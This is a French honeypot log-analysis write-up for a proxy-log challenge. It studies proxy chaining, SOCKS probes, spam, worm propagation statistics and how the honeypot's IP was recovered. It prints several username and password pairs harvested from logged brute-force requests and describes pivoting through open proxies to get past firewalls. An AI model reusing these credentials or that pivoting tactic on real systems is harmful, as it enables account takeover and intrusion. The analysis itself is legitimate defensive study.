Les fichiers de logs indiquent dans les entêtes X-Forwarded-For plus de 300 adresses IP différentes. Pour pousser les vérifications plus loin, il serait possible mais éthiquement discutable de demander le test de ces adresses IP dans un proxy checker sur Internet ou bien de vérifier soi-même si ces serveurs font office de proxy. Il existe cependant des proxys anonymes ne le rajoutant pas et il est aussi possible à un pirate de forger un entête X-Forwarded-For lui-même.

L'honeyproxy n'est pas forcément le dernier maillon d'une chaîne de proxy, il peut lui même être utilisé comme intermédiaire. Voici un exemple où le logiciel ProxyChains est utilisé pour réaliser des tunnels.

[kmaster@christophe kmaster]$ grep ProxyChains notes/articles/sotm31/logs/access_log
66.98.172.68 - - [12/Mar/2004:01:14:30 -0500] "CONNECT 66.98.148.38:25 HTTP/1.0" 403 286 "-" "ProxyChains 1.8"
216.196.251.10 - - [13/Mar/2004:01:42:21 -0500] "CONNECT 192.168.65.10:80 HTTP/1.0" 500 434 "-" "ProxyChains 1.8"
202.134.172.54 - - [13/Mar/2004:02:44:36 -0500] "CONNECT 216.51.232.100:80 HTTP/1.0" 200 - "-" "ProxyChains 1.8"

Une requête SOCKS (RFC1928) est constituée de

On a pu voir dans la liste précédente des proxys que certains étaient des proxy SOCKS. Des attaquants ont testé si l'honeyproxy répondait à ce protocole, le code d'erreur 501 indique que cela n'est pas le cas.

[kmaster@christophe kmaster]$ grep "\\x01" notes/articles/sotm31/logs/access_log |head -30
203.121.182.190 - - [09/Mar/2004:22:07:16 -0500] "\x04\x01" 501 - "-" "-"
...
65.113.238.149 - - [10/Mar/2004:02:42:20 -0500] "\x05\x01" 501 - "-" "-"
66.93.172.211 - - [10/Mar/2004:02:56:06 -0500] "\x04\x01" 501 - "-" "-"
194.109.153.6 - - [10/Mar/2004:03:38:32 -0500] "\x04\x01+g\xc2m\x99\x02" 501 - "-" "-"
...

Identifier les différentes méthodes d'attaques par brute force

Les sites web demandant une authentification peuvent utilisés plusieurs méthodes:

Pour obtenir les noms d'utilisateur et mots de passe correspondants, il suffit de parcourir les fichiers de log à la recherche du mot login|username|email|uid et passwd|password. Dans le cas de l'authentification Basic, la fonction decode_base64 du module perl MIME::Base64 et le tour est joué:

[kmaster@christophe logs]$ ~/notes/articles/tools/extract_pwd.pl
xmlrevenue.com : (Auth Basic)
sbc1.login.scd.yahoo.com login=exodus_510:passwd=matthew (GET)
sbc1.login.scd.yahoo.com login=exodus_510:passwd=matthew] (GET)
sbc1.login.scd.yahoo.com login=exodus_510:passwd=matthew (GET)
login.europe.yahoo.com login=exodus_$$$$$$$:passwd=matthew (GET)
login.europe.yahoo.com login=exodus_$$$$$$$:passwd=matthew] (GET)
login.europe.yahoo.com login=exodus_$$$$$$$:passwd=matthew (GET)
seekpond.com : (Auth Basic)
www.appliedsearch.net : (Auth Basic)
sbc2.login.dcn.yahoo.com login=exodusc:passwd=HELL (GET)
sbc2.login.dcn.yahoo.com login=exodusc:passwd=HELL] (GET)
sbc2.login.dcn.yahoo.com login=exodusc:passwd=HELL (GET)
members.asstraffic.com jonno76:jeanne (Auth Basic)
sbc2.login.scd.yahoo.com login=exodus_!!!!!!!!:passwd=HELL (GET)
...

A quoi correspond le message d'erreur de Mod_Security "Invalid Character Detected"

D'après la documentation de Mod_Security, celui-ci applique plusieurs vérifications:

Du SPAM

Plusieurs attaquants ont utilisé le script http://mail.sina.com.cn/cgi-bin/sendmsg.cgi pour envoyer des messages HTML. Quel est leur but ?

Les principaux destinataires de ces mails ont des adresses en @sina.com et la page est encodé en gb2312. On peut remarquer divers liens sur cette page vers

  • www.upholdjustice.org
    Un site contre le massacre de Falun Gong
  • On remarque certains mots comme Civil Disobedience, Helvetica Invest AG et Volkswagen. En recherchant sur Asianresearch, on apprend que la société d'investissement Helvetica Invest AG a liquidé ses stock option Volkswagen car le constructeur automobile aurait activement participé à la persécution de Falun Gong...
  • Ce message de propagande est un message de lutte contre la politique chinoise. Le proxy a été utilisé pour contourner les filtrages IP placés par le gouvernement chinois et offrir un certain anonymat aux auteurs de ces messages.

    Statistiques

    Pour obtenir les statistiques comme le TOP 10 des attaquants, des cibles, des User-Agents..., rien de plus simple, on peut utiliser webalizer.

    mkdir webalizer
    webalizer -i -Q -o webalizer -n www.testproxy.net logs/access_log
    

    Certains User-Agents sont étranges comme Nessus, en voici certains:

    [kmaster@christophe logs]$ cut -d'"' -f5- ~/notes/articles/sotm31/logs/access_log |sort|uniq -c|sort -nr
       7978	 "Mozilla/4.75 [en] (X11, U; Nessus)"
        302	 "Mozilla/4.0 (compatible; MSIE 5.5; see http://www.socksproxy.de)"
         79	 "MSIE\x81iMicrosoftRInternetExplo\x82\x92er\x81j"
         77	 "ssps/0.1 libwww/5.4.0"
         55	 "fork()"
         51	 "Caca"
         45	 "Borg/4.3.5"
         39	 "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
         38	 "Clicking Agent"
         17	 "Anonymisiert durch Steganos Internet Anonym Pro 6"
         13	 "Anonymisiert durch Steganos Internet Anonym"
         12	 "Symantec LiveUpdate"
         10	 "pxyscand/2.0"
          5	 "Space Bison/0.02 [fu] (Win67; X; SK)"
          5	 "Anonymisiert durch Steganos Internet Anonym 6"
          3	 "ProxyChains 1.8"
          2	 "You lose !"
          2	 "unfiltered"
          2	 "Tcl http client package 2.4.5"
          1	 "This host is open proxy - please investigate."
          1	 "This host can be open proxy - please investigate."
          1	 "ProxyHunter"
          1	 "ProxyExpert"
    

    On retrouve des logiciels de détection de proxy ou de chaînage de proxy.

    Pourquoi de nombreux hackers ont visés des sites pornographiques?

    L'accès à ce genre de site ainsi que les images peuvent être revendus. Mais surtout, ces sites détiennent des numéros de carte de crédit de personnes qui généralement ne vont pas se vanter s'ils sont victimes de fraude bancaire.

    Peut-on retrouver l'adresse IP de l'honeyproxy ?

    L'adresse et le nom du serveur ont été dissimulé par le responsable du challenge, mais cet anonymat est tout relatif.

    Statistiques sur les sources virales

    Les mécanismes de propagation utilisés dans les vers Internet ont tendance à privilégier les cibles dans la même classe A ou classe B. Pour Nimda, la cible est en classe B dans 2 cas sur 4, classe C 1/4 et aléatoire 1/4.

    [kmaster@christophe logs]$ grep cmd.exe access_log|~/notes/articles/tools/stat_by_class_A.pl|head -20
    68.x.x.x        3039
    217.x.x.x       180
    24.x.x.x        13
    81.x.x.x        1
    [kmaster@christophe logs]$ grep cmd.exe access_log|~/notes/articles/tools/stat_by_class_B.pl|head -20
    68.48.x.x       2804
    217.160.x.x     180
    68.50.x.x       94
    68.154.x.x      47
    68.119.x.x      47
    68.44.x.x       47
    24.127.x.x      13
    81.171.x.x      1
    

    Pour CodeRed II, la cible est en classe B pour 3/8, classe A pour 4/8 et 1/8 aléatoire.

    [kmaster@christophe sotm31]$ grep root.exe logs/access_log|~/notes/articles/tools/stat_by_class_B.pl|head -20
    68.48.x.x       280
    68.50.x.x       8
    68.154.x.x      4
    68.119.x.x      4
    68.44.x.x       4
    217.160.x.x     3
    

    L'honeypot est probablement dans le réseau 68.48.x.x.

    Analyse statistiques des destinations des CONNECT

    Lors de mes tests d'intrusion où un proxy était découvert ou bien en ce m'étant dans le rôle d'un pirate, il est tentant d'exploiter le proxy pour se connecter à d'autres machines de la même classe IP que le proxy, on peut espérer contourner les filtrages mis en place sur les firewalls.

    $ grep CONNECT access_log |cut -d\" -f2|sort -n|uniq > CONNECT.txt
    $ cat CONNECT.txt|./stat_by_class.pl |head
    68.48.106.x     248
    209.15.20.x     103
    210.242.13.x    98
    210.242.12.x    65
    207.137.186.x   29
    205.158.62.x    14
    207.115.63.x    11
    207.217.125.x   9
    209.228.4.x     6
    207.69.200.x    6
    

    Si cette hypothèse est correct, le proxy se trouverait sans doute dans les réseaux 68.48.106.x (Comcast Cable Communications, Inc. DC-3) ou 209.15.20.x (CommuniTech.Net, Inc.). C'est cohérent avec les résultats précédents.
    Le bloc d'adresse 68.48.106.x a été scanné de manière aléatoire, mais certaines adresses n'apparaissent pas dans les logs. Il s'agit de

    Si l'hypothèse se confirme, le proxy serait une de ces adresses.

    Analyse des cookies

    GET http://www.kanoodle.com/clickthrough.cool?eid=1&clickid=12486486&id=77840372&lid=bhnnbinnbknobonkbmngbknjbonnbmni&query=cruises HTTP/1.1
    Accept: image/gif, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, */*
    Accept-Encoding: gzip, deflate
    Accept-Language: en-us
    Host: www.kanoodle.com
    Pragma: no-cache
    Referer: http://www.clickcheaper.com/search.php
    User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
    X-Forwarded-For: 205.216.128.48
    
    HTTP/1.1 301 Moved Permanently
    Set-cookie: guru=1078890173:192.168.1.103:nobody:none:3c44c1eb62ea6528:ad40e30c1c122141cff892ee471622e6; domain=.kanoodle.com; path=/
    Location: http://www.bestpricecruises.com
    Content-Type: text/html; charset=iso-8859-1
    X-Cache: MISS from www.testproxy.net
    Transfer-Encoding: chunked
    

    L'adresse IP de l'honeypot a été altéré, mais si on recherche bien, on peut la découvrir:

    Request: 218.93.58.133 - - [Sat Mar 13 04:38:00 2004] "GET http://s13.sitemeter.com/js/counter.asp?site=s13firstzoneresult HTTP/1.0" 200 1938
    Handler: proxy-server
    ----------------------------------------
    GET http://s13.sitemeter.com/js/counter.asp?site=s13firstzoneresult HTTP/1.0
    Accept: */*
    Accept-Language: en-us
    Host: s13.sitemeter.com
    Proxy-Connection: Keep-Alive
    Referer: http://www.first-zone.com/search.php?AID=35151&q=home+plans
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
    mod_security-message: Access denied with code 200. Pattern match "\.asp" at THE_REQUEST.
                                                                                                                                 
    HTTP/1.0 200 OK
    Warning: Subject to Monitoring
    P3P: policyref="/w3c/p3pEXTRA.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
    Content-Length: 1938
    Content-Type: application/x-javascript
    Expires: Sat, 13 Mar 2004 09:38:27 GMT
    Set-Cookie: IP=68%2E48%2E106%2E109; path=/js
    Cache-control: private
    X-Cache: MISS from www.testproxy.net
    Connection: close
    

    68%2E48%2E106%2E109 correspond à l'adresse IP 68.48.106.109, nous avons trouvé le proxy! Le résultat valide les approches statistiques.

    Conclusion

    Ce challenge a été assez intéressant car il m'a permis d'aborder de nouveau sujet comme la fraude aux bandeaux publicitaires, le chaînage de proxy et des méthodes statistiques sur la propagation des virus. Comme quoi, les logs d'un proxy peuvent s'avérer très riche en enseignement.


    Christophe GRENIER
    Consultant Sécurité chez Global Secure
    Site perso: http://www.cgsecurity.org
    Email perso: grenier@cgsecurity.org
    

    Liens internet:
    Nessus ID 10301, Faille websendmail
    CAN-1999-1479, textcounter.pl
    CAN-2000-0071, IIS 4 .ida/.idq
    CVE-2000-0884, IIS 4/5 unicode bug
    CA-2001-19, IIS Indexing Service DLL overflow
    CAN-2002-0656, OpenSSL buffer overflow
    whitehats, même principe pour les alertes arachNIDS
    open_proxy_honeypots.pdf
    proxychains, utiliataire pour chaîner des proxy.
    Nessus, le scanner de vulnérabilité
    dsbl.org, black lists
    dnsbl.sorbs.net, black lists
    spamhaus, black lists
    SoTM 31
    webalizer/, outil de statistiques